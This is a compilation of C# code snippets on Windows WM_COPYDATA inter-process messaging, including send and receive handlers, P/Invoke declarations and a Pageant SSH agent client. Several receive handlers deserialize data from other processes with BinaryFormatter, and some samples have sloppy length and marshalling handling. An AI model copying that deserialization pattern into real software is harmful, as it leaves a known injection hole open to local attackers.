Exemple #1
0
        public static void SendMessage(IntPtr hWnd, string message)
        {
            BinaryFormatter b = new BinaryFormatter();
            MemoryStream stream = new MemoryStream();
            b.Serialize(stream, message);
            stream.Flush();

            // Now move the data into a pointer so we can send
            // it using WM_COPYDATA:
            // Get the length of the data:
            int dataSize = (int)stream.Length;
            if (dataSize > 0)
            {
                byte[] data = new byte[dataSize];
                stream.Seek(0, SeekOrigin.Begin);
                stream.Read(data, 0, dataSize);
                IntPtr ptrData = Marshal.AllocCoTaskMem(dataSize);
                Marshal.Copy(data, 0, ptrData, dataSize);

                COPYDATASTRUCT cds = new COPYDATASTRUCT();
                cds.cbData = dataSize;
                cds.dwData = IntPtr.Zero;
                cds.lpData = ptrData;
                int res = SendMessage(hWnd, WM_COPYDATA, 0, ref cds);

                // Clear up the data:
                Marshal.FreeCoTaskMem(ptrData);
            }

            stream.Close();
        }
Exemple #2
0
		/// <summary>
		/// Override for a form's Window Procedure to handle WM_COPYDATA
		/// messages sent by other instances of this class.
		/// </summary>
		/// <param name="m">The Windows Message information.</param>
		protected override void WndProc (ref System.Windows.Forms.Message m )
		{
			if (m.Msg == WM_COPYDATA)
			{
				COPYDATASTRUCT cds = new COPYDATASTRUCT();
				cds = (COPYDATASTRUCT) Marshal.PtrToStructure(m.LParam, typeof(COPYDATASTRUCT));
				if (cds.cbData > 0)
				{
					byte[] data = new byte[cds.cbData];				
					Marshal.Copy(cds.lpData, data, 0, cds.cbData);
					MemoryStream stream = new MemoryStream(data);
					BinaryFormatter b = new BinaryFormatter();
					CopyDataObjectData cdo = (CopyDataObjectData) b.Deserialize(stream);
					
					if (channels.Contains(cdo.Channel))
					{
						DataReceivedEventArgs d = new DataReceivedEventArgs(cdo.Channel, cdo.Data, cdo.Sent);
						OnDataReceived(d);
						m.Result = (IntPtr) 1;
					}				
				}
			}
			else if (m.Msg == WM_DESTROY)
			{
				// WM_DESTROY fires before OnHandleChanged and is
				// a better place to ensure that we've cleared 
				// everything up.
				channels.OnHandleChange();
				base.OnHandleChange();
			}
			base.WndProc(ref m);
		}
Exemple #3
0
        public static int Send(string data, IntPtr windowHandle)
        {
            var cds = new COPYDATASTRUCT();
            cds.dwData = (IntPtr)Marshal.SizeOf(cds);
            cds.cbData = (IntPtr)data.Length;
            cds.lpData = Marshal.StringToHGlobalAnsi(data);

            var ptr = Marshal.AllocCoTaskMem(Marshal.SizeOf(cds));
            Marshal.StructureToPtr(cds, ptr, true);

            try
            {
                const int WM_COPY_DATA = 0x004A;
                var result = SendMessage(windowHandle, WM_COPY_DATA, IntPtr.Zero, ptr);
                return result;
            }
            catch (Exception)
            {
                return 1;
            }
            finally
            {
                Marshal.FreeHGlobal(cds.lpData);
                Marshal.FreeCoTaskMem(ptr);
            }
        }
 public static extern int SendMessageTimeout(
     IntPtr hwnd,
     uint wMsg,
     IntPtr wParam,
     ref COPYDATASTRUCT lParam,
     SendMessageTimeoutFlags flags,
     uint timeout,
     out IntPtr result);
 public static string ReciveMessage(ref Message m)
 {
     COPYDATASTRUCT mystr = new COPYDATASTRUCT();
     Type mytype = mystr.GetType();
     mystr = (COPYDATASTRUCT)m.GetLParam(mytype);
     string data = mystr.lpData;
     Debug.WriteLine("WM_COPYDATA message:" + data);
     return data;
 }
Exemple #6
0
        private void OnCopyData(ref Message m)
        {
            // Get the COPYDATASTRUCT
            COPYDATASTRUCT cds = new COPYDATASTRUCT();
            cds = (COPYDATASTRUCT)Marshal.PtrToStructure(m.LParam, typeof(COPYDATASTRUCT));

            // The lpData member of COPYDATASTRUCT points to an (unmanaged) FILECONTEXT struct
            FILECONTEXT ht = (FILECONTEXT)Marshal.PtrToStructure(cds.lpData, typeof(FILECONTEXT));

            string strTemp;

            // If the target application opened, created, wrote to, or read from a file...
            if (cds.dwData >= (int)FileAction.File_CreateAlways && cds.dwData <= (int) FileAction.File_Read)
            {
                int unManagedSize = Marshal.SizeOf(typeof(FILECONTEXT));
                unsafe
                {
                    byte* pString = (byte*)cds.lpData.ToPointer();
                    pString += unManagedSize;
                    IntPtr pManString = new IntPtr((void*)pString);
                    strTemp = Marshal.PtrToStringUni(pManString);
                }

                if (cds.dwData <= 5)
                {
                    ListViewItem[] lvs = listOpenFiles.Items.Find(strTemp, true);
                    if (lvs == null || lvs.Length == 0)
                    {
                        ListViewItem lv = listOpenFiles.Items.Insert(listOpenFiles.Items.Count, strTemp);
                        lv.Tag = ht.Handle;
                        lv.Name = strTemp;
                    }
                }
                else
                {
                    int nIndex = strTemp.IndexOf('\n');
                    if (nIndex > -1)
                    {
                        string Intro = strTemp.Substring(0, nIndex);
                        string Other = strTemp.Substring(nIndex);
                        Font oldFont = richFileOps.SelectionFont;
                        richFileOps.SelectionFont = _boldFont;
                        richFileOps.SelectedText = Intro;
                        richFileOps.SelectionFont = oldFont;
                        richFileOps.Select(richFileOps.TextLength, 0);
                        richFileOps.SelectedText = Other;
                    }
                }
                m.Result = (IntPtr)1;
            }
            // If the target application CLOSED a file
            else if (cds.dwData == (int)FileAction.File_Close)
            {
                // TODO: remove the file from the GUI
            }
        }
Exemple #7
0
 public static void _SendMessage(string msg, IntPtr target)
 {
     byte[] b = Encoding.UTF8.GetBytes(msg);
     IntPtr hLog = Marshal.AllocHGlobal(b.Length);
     Marshal.Copy(b, 0, hLog, b.Length);
     COPYDATASTRUCT data = new COPYDATASTRUCT();
     data.cbData = b.Length;
     data.lpData = hLog;
     SendMessage(target, WM_COPYDATA, 0, ref data);
 }
Exemple #8
0
    ///<summary>Send the textual message to another process (receiver).</summary> 
    ///<param name="Hwnd">Handle of the receiver</param> 
    ///<param name="Text">Message to be sent</param> 
    ///<param name="Port">Port on which to send the message, positive integer</param> 
    public bool Send(IntPtr Hwnd, string Text, int Port)
    {
        COPYDATASTRUCT cd = new COPYDATASTRUCT();
        cd.dwData = (IntPtr)(-Port);                                          //use negative port for textual messages
        cd.cbData = Text.Length + 1;
        cd.lpData = Marshal.StringToHGlobalAnsi(Text);

          //IntPtr pcd = Marshal.AllocCoTaskMem(Marshal.SizeOf(cd));   // Alocate memory
          //Marshal.StructureToPtr(cd, pcd, true);               // Converting structure to IntPtr
        int i = SendMessage(Hwnd, WM_COPYDATA, this.Handle, ref cd);
          return i==1 ? true : false;
    }
Exemple #9
0
        ///<summary>Send the message to another process (receiver) using WM_COPYDATA.</summary>
        ///<param name="hHost">Handle of the receiver</param>
        ///<param name="msg">Message to be sent</param>
        ///<param name="port">Port on which to send the message</param>
        public bool Send(IntPtr hHost, string msg, int port)
        {
            COPYDATASTRUCT cd = new COPYDATASTRUCT();
            cd.dwData = port;
            cd.cbData = msg.Length+1;
            cd.lpData = Marshal.StringToHGlobalAnsi(msg).ToInt32();

            //IntPtr pcd = Marshal.AllocCoTaskMem(Marshal.SizeOf(cd));	// Alocate memory
            //Marshal.StructureToPtr(cd, pcd, true);					// Converting structure to IntPtr
            int i = SendMessage(hHost, WM_COPYDATA, id, ref cd);
            return i==1 ? true : false;
        }
        static void Send(Params @params)
        {
            var copyDataMem = IntPtr.Zero;
              var dataPointer = IntPtr.Zero;
              try
              {
            var dataSize = 0;
            dataPointer = IntPtr.Zero;
            if (@params.Send.Data != null)
            {
              // Same algorithm to determine size as in Marshal.StringToHGlobalUni.
              dataSize = (@params.Send.Data.Length + 1) * 2;
              dataPointer = Marshal.StringToHGlobalUni(@params.Send.Data);
            }

            var copyData = new COPYDATASTRUCT
            {
              dwData = new UIntPtr(@params.Send.Message),
              cbData = dataSize,
              lpData = dataPointer
            };

            copyDataMem = Marshal.AllocHGlobal(Marshal.SizeOf(copyData));
            Marshal.StructureToPtr(copyData, copyDataMem, true);
            var result = NativeMethods.SendMessage(@params.Connection.Handle,
                                               NativeConstants.WM_COPYDATA,
                                               @params.Receiver.Handle,
                                               copyDataMem);
            if (result == IntPtr.Zero)
            {
              throw new Win32Exception(Marshal.GetLastWin32Error());
            }

            RxMessageBrokerMinimod.Default.Send(new Log("Sent message {0} to MPC", @params.Send.Info()));
              }
              catch (Exception ex)
              {
            RxMessageBrokerMinimod.Default.Send(new Log("Failed to send message {0} to MPC: {1}",
                                                    @params.Send.Info(),
                                                    ex.Message));
              }
              finally
              {
            if (copyDataMem != IntPtr.Zero)
            {
              Marshal.FreeHGlobal(copyDataMem);
            }
            if (dataPointer != IntPtr.Zero)
            {
              Marshal.FreeHGlobal(dataPointer);
            }
              }
        }
Exemple #11
0
        protected override void WndProc(ref Message m)
        {
            if((m.Msg==WM_COPYDATA) && (m.WParam == id))
            {
                CD = (COPYDATASTRUCT)m.GetLParam(typeof(COPYDATASTRUCT));
                strData = Marshal.PtrToStringAnsi(new IntPtr(CD.lpData), CD.cbData);

                if (OnMessage != null)
                    OnMessage( strData, CD.dwData );

                return;
            }

            base.WndProc(ref m);
        }
Exemple #12
0
        private void SendString(IntPtr wnd)
        {
            string s = "hi2server" +  char.MinValue;
            IntPtr lpData = Marshal.StringToHGlobalAnsi(s);

            COPYDATASTRUCT data = new COPYDATASTRUCT();
            data.dwData = 0;
            data.cbData = s.Length + 1;
            data.lpData = lpData;

            IntPtr lpStruct = Marshal.AllocHGlobal(Marshal.SizeOf(data));

            Marshal.StructureToPtr(data, lpStruct, false);
            SendMessage(wnd, WM_COPYDATA,this.Handle, lpStruct);
        }
Exemple #13
0
        protected override void DefWndProc(ref System.Windows.Forms.Message m)
        {
            string token = "";
            COPYDATASTRUCT mystr;
            Type mytype = null;
            //MessageBox.Show(m.Msg.ToString());
            switch (m.Msg)
            {
                case WM_MESSAGE:
                    mystr = new COPYDATASTRUCT();
                    mytype = mystr.GetType();
                    mystr = (COPYDATASTRUCT)m.GetLParam(mytype);
                    token = mystr.bstrData;

                    eterm_bga.is_eterm_status = mystr.bstrData;
                    eterm_bga.ib_connect_status = false;
                    eterm_bga.ib_dataflag = false;
                    //    MessageBox.Show(this, mystr.bstrData, mystr.bstrCategory);
                    break;

                case WM_DATA:
                    mystr = new COPYDATASTRUCT();
                    mytype = mystr.GetType();
                    mystr = (COPYDATASTRUCT)m.GetLParam(mytype);
                    token = mystr.bstrData;

                    ShowData(token);
                    break;
                case WM_CTX:
                    mystr = new COPYDATASTRUCT();
                    mytype = mystr.GetType();
                    mystr = (COPYDATASTRUCT)m.GetLParam(mytype);
                    token = mystr.bstrToken;
                    CreatingCtx((int)m.WParam, token);
                    break;
                default:
                    base.DefWndProc(ref m);
                    if (eterm_bga.ib_connect_status)
                    {
                        eterm_bga.is_eterm_status = "Host system down";
                        eterm_bga.ib_connect_status = false;
                        eterm_bga.ib_dataflag = false;
                    }

                    break;
            }
        }
Exemple #14
0
        public static string DecodeMessage(ref Message message)
        {
            string messageText = string.Empty;

            COPYDATASTRUCT cds = new COPYDATASTRUCT();
            cds = (COPYDATASTRUCT)Marshal.PtrToStructure(message.LParam, typeof(COPYDATASTRUCT));
            if (cds.cbData > 0)
            {
                byte[] data = new byte[cds.cbData];
                Marshal.Copy(cds.lpData, data, 0, cds.cbData);
                MemoryStream stream = new MemoryStream(data);
                BinaryFormatter b = new BinaryFormatter();
                messageText = (string)b.Deserialize(stream);
            }

            return messageText;
        }
        //接收传递的消息
        protected override void DefWndProc(ref Message m)
        {
            switch (m.Msg)
            {
                case WM_COPYDATA:
                    COPYDATASTRUCT mystr = new COPYDATASTRUCT();
                    Type mytype = mystr.GetType();
                    mystr = (COPYDATASTRUCT)m.GetLParam(mytype);
                    receiveMsg = mystr.lpData;

                    displayMessage(receiveMsg);
                    break;
                default:
                    base.DefWndProc(ref m);
                    break;
            }
        }
Exemple #16
0
        protected override void WndProc(ref Message m)
        {
            if (m.Msg == WM_COPYDATA)
            {
                COPYDATASTRUCT data = new COPYDATASTRUCT();
                data = (COPYDATASTRUCT)Marshal.PtrToStructure(m.LParam, typeof(COPYDATASTRUCT));
                if (data.dwData == (IntPtr)COPYDATAENTRY.COPYDATA_NPCLogger && data.cbData > 0)
                {
                    char[] buffer = new char[data.cbData / 2];
                    Marshal.Copy(data.lpData, buffer, 0, data.cbData / 2);

                    string npcmessage = new string(buffer);
                    AppendNPCMessage(npcmessage);

                }
            }
            base.WndProc(ref m);
        }
Exemple #17
0
 public override byte[] SendMessage(byte[] aMessage)
 {
     var hwnd = FindWindow(cPageantWindowClass, cPageantWindowClass);
       if (hwnd == IntPtr.Zero) {
     throw new AgentNotRunningException();
       }
       var threadId = Thread.CurrentThread.ManagedThreadId;
       var mapName = String.Format("{0}{1:x8}", cMapNamePrefix, threadId);
       using (var mappedFile = MemoryMappedFile.CreateNew(mapName, 4096)) {
     if (mappedFile.SafeMemoryMappedFileHandle.IsInvalid) {
       throw new Exception("Invalid mapped file handle");
     }
     using (var stream = mappedFile.CreateViewStream()) {
       stream.Write(aMessage, 0, aMessage.Length);
       var copyData = new COPYDATASTRUCT();
       if (IntPtr.Size == 4) {
     copyData.dwData = new IntPtr(unchecked((int)AGENT_COPYDATA_ID));
       } else {
     copyData.dwData = new IntPtr(AGENT_COPYDATA_ID);
       }
       copyData.cbData = mapName.Length + 1;
       copyData.lpData = Marshal.StringToCoTaskMemAnsi(mapName);
       IntPtr copyDataPtr = Marshal.AllocHGlobal(Marshal.SizeOf(copyData));
       Marshal.StructureToPtr(copyData, copyDataPtr, false);
       var resultPtr =
     SendMessage(hwnd, WM_COPYDATA, IntPtr.Zero, copyDataPtr);
       Marshal.FreeHGlobal(copyData.lpData);
       Marshal.FreeHGlobal(copyDataPtr);
       if (resultPtr == IntPtr.Zero) {
     throw new Exception("send message failed");
       }
       stream.Position = 0;
       var parser = new BlobParser(stream);
       var replyLength = parser.ReadInt();
       stream.Position = 0;
       var reply = new byte[replyLength + 4];
       stream.Read(reply, 0, reply.Length);
       return reply;
     }
       }
 }
 protected override void DefWndProc( ref System.Windows.Forms.Message m )
 {
     switch ( m.Msg )
     {
         case Win32API.WM_COPYDATA:
             COPYDATASTRUCT mystr = new COPYDATASTRUCT();
             Type mytype = mystr.GetType();
             mystr = (COPYDATASTRUCT)m.GetLParam( mytype );
             String op = mystr.lpData;
             switch ( op )
             {
                 case SecuruStikMessageType.Show:
                     this.Visible = true;break;
                 case SecuruStikMessageType.Hiden:
                     this.Visible = false;break;
             }
             break;
         default:
             base.DefWndProc( ref m );
             break;
     }
 }
Exemple #19
0
 static void Main(string[] args)
 {
     Process current = Process.GetCurrentProcess();
     var runningProcess = Process.GetProcessesByName(current.ProcessName).FirstOrDefault(p => p.Id != current.Id);
     if (runningProcess == null)
     {
         Application.EnableVisualStyles();
         Application.SetCompatibleTextRenderingDefault(false);
         Application.Run(new WindowsFormsApplication1.Form1(args));
     }
     else
     {
         var hwnd = runningProcess.MainWindowHandle;
         SetForegroundWindow(hwnd);
         var cd = new COPYDATASTRUCT();
         for (int i = 0; i < args.Length; i++)
         {
             cd.lpData += args[i] + " ";
         }
         cd.cbData = cd.lpData.Length + 1;
         SendMessage(hwnd, WM_COPYDATA, 101, ref cd);
     }
 }
Exemple #20
0
        static void Main(string[] args) {
            Process proc = Process.GetCurrentProcess();

            // 多重起動時の処理
            // NOTE: デバッガ上で起動した場合、通常起動とはプロセス名が違う。
            // そのため、デバッガ上でテストする方法が今の所不明
            if (Process.GetProcessesByName(proc.ProcessName).Length > 1) {
                if (args.Length > 0) {
                    var prevHwnd = FindPrevProcess(proc);
                    var msg = args[0];
                    var cds = new COPYDATASTRUCT();
                    cds.dwData = IntPtr.Zero;
                    cds.lpData = msg;
                    cds.cbData = System.Text.Encoding.Default.GetBytes(msg).Length + 1;
                    SendMessage(prevHwnd, WM_COPYDATA, IntPtr.Zero, ref cds);
                }
            }
            else {
                Application.EnableVisualStyles();
                Application.SetCompatibleTextRenderingDefault(false);
                if (args.Length > 0) Application.Run(new MainForm(args[0]));
                else Application.Run(new MainForm());
            }
        }
        private IntPtr WndProc(IntPtr hWnd, int msg, IntPtr wParam, IntPtr lParam)
        {
            switch ((WM)msg)
            {
            case WM.COPYDATA:
                if (lParam == IntPtr.Zero)
                {
                    ShellLogger.Debug("TrayService: CopyData is null");
                    break;
                }

                COPYDATASTRUCT copyData =
                    (COPYDATASTRUCT)Marshal.PtrToStructure(lParam, typeof(COPYDATASTRUCT));

                switch ((int)copyData.dwData)
                {
                case 0:
                    // AppBar message
                    if (Marshal.SizeOf(typeof(APPBARMSGDATAV3)) == copyData.cbData)
                    {
                        APPBARMSGDATAV3 amd = (APPBARMSGDATAV3)Marshal.PtrToStructure(copyData.lpData,
                                                                                      typeof(APPBARMSGDATAV3));

                        if (Marshal.SizeOf(typeof(APPBARDATAV2)) != amd.abd.cbSize)
                        {
                            ShellLogger.Debug("TrayService: Size incorrect for AppBarData");
                            break;
                        }

                        bool   handled   = false;
                        IntPtr abmResult = IntPtr.Zero;
                        if (appBarMessageDelegate != null)
                        {
                            abmResult = appBarMessageDelegate(amd, ref handled);
                        }

                        if (handled)
                        {
                            ShellLogger.Debug($"TrayService: Handled AppBar message {(ABMsg)amd.dwMessage}");
                            return(abmResult);
                        }

                        ShellLogger.Debug($"TrayService: Forwarding AppBar message {(ABMsg)amd.dwMessage}");
                    }
                    else
                    {
                        ShellLogger.Debug("TrayService: AppBar message received, but with unknown size");
                    }
                    break;

                case 1:
                    SHELLTRAYDATA trayData =
                        (SHELLTRAYDATA)Marshal.PtrToStructure(copyData.lpData,
                                                              typeof(SHELLTRAYDATA));
                    if (trayDelegate != null)
                    {
                        if (trayDelegate(trayData.dwMessage, new SafeNotifyIconData(trayData.nid)))
                        {
                            return((IntPtr)1);
                        }

                        ShellLogger.Debug("TrayService: Ignored notify icon message");
                    }
                    else
                    {
                        ShellLogger.Info("TrayService: TrayDelegate is null");
                    }
                    break;

                case 3:
                    WINNOTIFYICONIDENTIFIER iconData =
                        (WINNOTIFYICONIDENTIFIER)Marshal.PtrToStructure(copyData.lpData,
                                                                        typeof(WINNOTIFYICONIDENTIFIER));

                    if (iconDataDelegate != null)
                    {
                        return(iconDataDelegate(iconData.dwMessage, iconData.hWnd, iconData.uID,
                                                iconData.guidItem));
                    }

                    ShellLogger.Info("TrayService: IconDataDelegate is null");
                    break;
                }

                break;

            case WM.WINDOWPOSCHANGED:
                WINDOWPOS wndPos = WINDOWPOS.FromMessage(lParam);

                if ((wndPos.flags & SetWindowPosFlags.SWP_SHOWWINDOW) != 0)
                {
                    SetWindowLong(HwndTray, GWL_STYLE,
                                  GetWindowLong(HwndTray, GWL_STYLE) &
                                  ~(int)WindowStyles.WS_VISIBLE);

                    ShellLogger.Debug($"TrayService: {TrayWndClass} became visible; hiding");
                }
                break;
            }

            if (msg == (int)WM.COPYDATA ||
                msg == (int)WM.ACTIVATEAPP ||
                msg == (int)WM.COMMAND ||
                msg >= (int)WM.USER)
            {
                return(ForwardMsg(hWnd, msg, wParam, lParam));
            }

            return(DefWindowProc(hWnd, msg, wParam, lParam));
        }
Exemple #22
0
 private static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, ref COPYDATASTRUCT lParam);
Exemple #23
0
 private static extern int SendMessageTimeout(IntPtr hwnd, int wMsg, int wParam, ref COPYDATASTRUCT lParam, SendMessageTimeoutFlags flags, uint timeout, out IntPtr result);
 public static extern Int32 SendMessage(
     IntPtr hWnd,
     UInt32 Msg,
     UInt32 wParam,
     ref COPYDATASTRUCT lParam);
Exemple #25
0
 public static extern int SendMessage(IntPtr hwnd, int wMsg, int wParam, [In()] ref COPYDATASTRUCT lParam);
        public static String GetStringFromMessage(Message m)
        {
            COPYDATASTRUCT c = (COPYDATASTRUCT)m.GetLParam(typeof(COPYDATASTRUCT));

            return(c.lpData);
        }
 [DllImport("user32", CharSet = CharSet.Auto)]   // simulator uses SendMessage for IPC
 private extern static int SendMessage(
     IntPtr hwnd,
     int wMsg,
     int wParam,
     ref COPYDATASTRUCT lParam
     );
Exemple #28
0
        public void PageantAgentInstanceTest()
        {
            /* code based on agent_query function in winpgntc.c from PuTTY */

              using (PageantAgent agent = new PageantAgent()) {

            /* try starting a second instance */

            Assert.That(delegate()
            {
              PageantAgent agent2 = new PageantAgent();
              agent2.Dispose();
            }, Throws.InstanceOf<PageantRunningException>());

            /* test WndProc callback */

            IntPtr hwnd = FindWindow("Pageant", "Pageant");
            Assert.That(hwnd, Is.Not.EqualTo(IntPtr.Zero));
            int threadId = Thread.CurrentThread.ManagedThreadId;
            string mapName = String.Format("PageantRequest{0:x8}", threadId);
            using (MemoryMappedFile mappedFile = MemoryMappedFile.CreateNew(mapName, 4096)) {
              Assert.That(mappedFile.SafeMemoryMappedFileHandle.IsInvalid, Is.False);
              using (MemoryMappedViewStream stream = mappedFile.CreateViewStream()) {
            byte[] message = new byte[] {0, 0, 0, 1,
            (byte)Agent.Message.SSH2_AGENTC_REMOVE_ALL_IDENTITIES};
            stream.Write(message, 0, message.Length);
            COPYDATASTRUCT copyData = new COPYDATASTRUCT();
            if (IntPtr.Size == 4) {
              copyData.dwData = new IntPtr(unchecked((int)AGENT_COPYDATA_ID));
            } else {
              copyData.dwData = new IntPtr(AGENT_COPYDATA_ID);
            }
            copyData.cbData = mapName.Length + 1;
            copyData.lpData = Marshal.StringToCoTaskMemAnsi(mapName);
            IntPtr copyDataPtr = Marshal.AllocHGlobal(Marshal.SizeOf(copyData));
            Marshal.StructureToPtr(copyData, copyDataPtr, false);
            IntPtr resultPtr = SendMessage(hwnd, WM_COPYDATA, IntPtr.Zero, copyDataPtr);
            Marshal.FreeHGlobal(copyData.lpData);
            Marshal.FreeHGlobal(copyDataPtr);
            Assert.That(resultPtr, Is.Not.EqualTo(IntPtr.Zero));
            byte[] reply = new byte[5];
            stream.Position = 0;
            stream.Read(reply, 0, reply.Length);
            byte[] expected = {0, 0, 0, 1,
                               (byte)Agent.Message.SSH_AGENT_SUCCESS};
            Assert.That(reply, Is.EqualTo(expected));
              }
            }
              }
        }
Exemple #29
0
 public static extern int SendMessage(IntPtr hwnd, uint msg, IntPtr wParam, ref COPYDATASTRUCT lParam);
Exemple #30
0
 public static extern int SendMessage(IntPtr hWnd, int Msg, int wParam, ref COPYDATASTRUCT lParam);
Exemple #31
0
 private static extern long SendMessage(Int32 hwnd, Int32 msg, Int32 hwndFrom, ref COPYDATASTRUCT cd);
        /// <summary>
        /// Main method that receives window messages
        /// We handle only for WM_COPYDATA messages
        /// </summary>
        /// <param name="m"></param>
        protected override void WndProc(ref Message m)
        {
            if (m.Msg == WM_COPYDATA)
            {
                try
                {
                    COPYDATASTRUCT cd = new COPYDATASTRUCT();
                    cd = (COPYDATASTRUCT)Marshal.PtrToStructure(m.LParam, typeof(COPYDATASTRUCT));

#if UNICODE
                    string returnedData = Marshal.PtrToStringUni(cd.lpData);
#else
                    string returnedData = Marshal.PtrToStringAnsi(cd.lpData);
#endif
                    receivedString = returnedData;
                    receivedType = (int)cd.dwData.ToUInt32();

                    if (parentThread != null && parentThread.ThreadState == System.Threading.ThreadState.WaitSleepJoin)
                        parentThread.Interrupt();
                }
                catch (Exception)
                {
                }
            }
            base.WndProc(ref m);
        }
Exemple #33
0
        /// <summary>
        /// Sends the specified object on this channel to any other
        /// applications which are listening.  The object must have the
        /// SerializableAttribute set, or must implement ISerializable.
        /// </summary>
        /// <param name="obj">The object to send</param>
        /// <returns>The number of recipients</returns>
        public int Send(object obj)
        {
            int recipients = 0;

            if (disposed) {
                throw new InvalidOperationException("Object has been disposed");
            }

            if (recreateChannel) {
                // handle has changed
                addChannel();
            }

            CopyDataObjectData cdo = new CopyDataObjectData(obj, channelName);

            // Try to do a binary serialization on obj.
            // This will throw and exception if the object to
            // be passed isn't serializable.
            BinaryFormatter b = new BinaryFormatter();
            MemoryStream stream = new MemoryStream();
            b.Serialize(stream, cdo);
            stream.Flush();

            // Now move the data into a pointer so we can send
            // it using WM_COPYDATA:
            // Get the length of the data:
            int dataSize = (int)stream.Length;
            if (dataSize > 0) {
                // This isn't very efficient if your data is very large.
                // First we copy to a byte array, then copy to a CoTask
                // Mem object... And when we use WM_COPYDATA windows will
                // make yet another copy!  But if you're talking about 4K
                // or less of data then it doesn't really matter.
                byte[] data = new byte[dataSize];
                stream.Seek(0, SeekOrigin.Begin);
                stream.Read(data, 0, dataSize);
                IntPtr ptrData = Marshal.AllocCoTaskMem(dataSize);
                Marshal.Copy(data, 0, ptrData, dataSize);

                // Send the data to each window identified on
                // the channel:
                foreach(WindowDetails window in WindowDetails.GetAllWindows()) {
                    if (!window.Handle.Equals(this.owner.Handle)) {
                        if (GetProp(window.Handle, this.channelName) != 0) {
                            COPYDATASTRUCT cds = new COPYDATASTRUCT();
                            cds.cbData = dataSize;
                            cds.dwData = IntPtr.Zero;
                            cds.lpData = ptrData;
                            int res = SendMessage(window.Handle, WM_COPYDATA, (int)owner.Handle, ref cds);
                            recipients += (Marshal.GetLastWin32Error() == 0 ? 1 : 0);
                        }
                    }
                }

                // Clear up the data:
                Marshal.FreeCoTaskMem(ptrData);
            }
            stream.Close();

            return recipients;
        }
Exemple #34
0
 public static extern bool PostMessage(IntPtr hWnd, uint Msg, int wParam, ref COPYDATASTRUCT lParam);
Exemple #35
0
    public void Handle_CopyData(ref Message m)
    {
        XLog.Log($"Begin Request: {RequestNumber}");
        RequestNumber++;
        var cdsRequest = (COPYDATASTRUCT)m.GetLParam(typeof(COPYDATASTRUCT));

        var request         = "";
        var requestEncoding = Persistence.RequestEncoding;

        XLog.Log($"RequestEncoding: {requestEncoding}");
        if (requestEncoding == IdexEncoding.Ansi)
        {
            request = Marshal.PtrToStringAnsi(cdsRequest.lpData);
        }
        else
        {
            request = Marshal.PtrToStringUni(cdsRequest.lpData);
        }

        XLog.Log($"ClaimMarkerInRequest: {Persistence.ClaimMarkerInRequest}");
        if (Persistence.ClaimMarkerInRequest)
        {
            if (XString.StartsWith(request, Marker))
            {
                XLog.Log($"Eliminate Marker: {Marker}");
                request = request.Substring(Marker.Length).Trim();
            }
            else
            {
                XLog.Log($"Marker is expected but not present. Request is denied.");
                return;
            }
        }

        XLog.Log($"Parse Request");
        string requestServerId = "";
        string requestClientId = "";
        var    requestLines    = XString.SplitIntoLines(request);

        if (requestLines.Length >= 3)
        {
            for (int i = 0; i < 3; i++)
            {
                string requestLine = requestLines[i];
                string left, right;
                XString.ParseAssoc(requestLine, out left, out right);
                if (XString.Eq(left, "ServerId") || XString.Eq(left, "sid"))
                {
                    requestServerId = right;
                }
                else if (XString.Eq(left, "ClientId") || XString.Eq(left, "cid"))
                {
                    requestClientId = right;
                }
            }
        }

        XLog.Log($"Identify client");
        IntPtr clientHandle = IntPtr.Zero;

        if (requestClientId != "")
        {
            XLog.Log($"ClientId: {requestClientId}");
            clientHandle = Native.FindWindow(null, requestClientId);
        }
        if (clientHandle == IntPtr.Zero)
        {
            XLog.Log($"Cannot find client");
            return;
        }
        XLog.Log($"ClientHandle: {clientHandle}");

        var response = "";

        foreach (var actionLine in requestLines)
        {
            if (XString.StartsWith(actionLine, "o ", "g ", "s "))
            {
                var actionPrefix = actionLine.Substring(0, 2).Trim();
                var actionBody   = actionLine.Substring(2).Trim();
                if (XString.Eq(actionPrefix, "o"))
                {
                    XLog.Log($"Execute action: {actionPrefix} {actionBody}");
                    response += actionBody;
                }
                else if (XString.Eq(actionPrefix, "g"))
                {
                    if (Persistence.SupportGetOps)
                    {
                        XLog.Log($"Execute action: {actionPrefix} {actionBody}");
                        var result = Ide.TryGetOp(actionBody);
                        response += result;
                    }
                }
                else if (XString.Eq(actionPrefix, "s"))
                {
                    if (Persistence.SupportSetOps)
                    {
                        XLog.Log($"Execute action: {actionPrefix} {actionBody}");
                        string left, right;
                        XString.ParseAssoc(actionBody, out left, out right);
                        Ide.TrySetOp(left, right);
                    }
                }
            }
            else if (XString.StartsWith(actionLine, "Document."))
            {
                string rest         = actionLine.Substring(9);
                int    openBracket  = rest.IndexOf('(');
                string functionName = rest.Substring(0, openBracket);
                rest = rest.Substring(openBracket + 1);
                int closingBracket = rest.IndexOf(')');
                rest = rest.Substring(0, closingBracket);
                var args = rest.Split(',');
                if (XString.Eq(functionName
                               , "SetSelectedRange"))
                {
                    int startIndex = int.Parse(args[0]);
                    int endIndex   = int.Parse(args[1]);
                    Ide.Document_SetSelectedRange(startIndex, endIndex);
                }
                else if (XString.Eq(functionName
                                    , "GetSelectedRange"))
                {
                    int startIndex = 0;
                    int endIndex   = 0;
                    Ide.Document_GetSelectedRange(out startIndex, out endIndex);
                    response += startIndex + "," + endIndex;
                }
                else if (XString.Eq(functionName
                                    , "GetSelectedText"))
                {
                    string text = Ide.Document_GetSelectedText();
                    response += text;
                }
                else if (XString.Eq(functionName
                                    , "ReplaceSelectedText"))
                {
                    Ide.Document_ReplaceSelectedText();
                }
                else if (XString.Eq(functionName
                                    , "DeleteSelectedText"))
                {
                    Ide.Document_DeleteSelectedText();
                }
                else if (XString.Eq(functionName
                                    , "GetLineIndexByChar"
                                    ))
                {
                    int charIndex = int.Parse(args[0]);
                    int lineIndex = Ide.Document_GetLineIndexByChar(charIndex);
                    response += lineIndex.ToString();
                }
                else if (XString.Eq(functionName
                                    , "GetLine"
                                    ))
                {
                    int    lineIndex   = int.Parse(args[0]);
                    string lineContent = Ide.Document_GetLine(lineIndex);
                    response += lineContent.ToString();
                }
                else if (XString.Eq(functionName
                                    , "SelectLine"
                                    ))
                {
                    int lineIndex = int.Parse(args[0]);
                    Ide.Document_SelectLine(lineIndex);
                }
                else if (XString.Eq(functionName
                                    , "GetLineLength"
                                    ))
                {
                    int charIndex = int.Parse(args[0]);
                    int charCount = Ide.Document_GetLineLength(charIndex);
                    response += charCount.ToString();
                }
                else if (XString.Eq(functionName
                                    , "GetCharIndexByLine"
                                    ))
                {
                    int lineIndex = int.Parse(args[0]);
                    int charIndex = Ide.Document_GetCharIndexByLine(lineIndex);
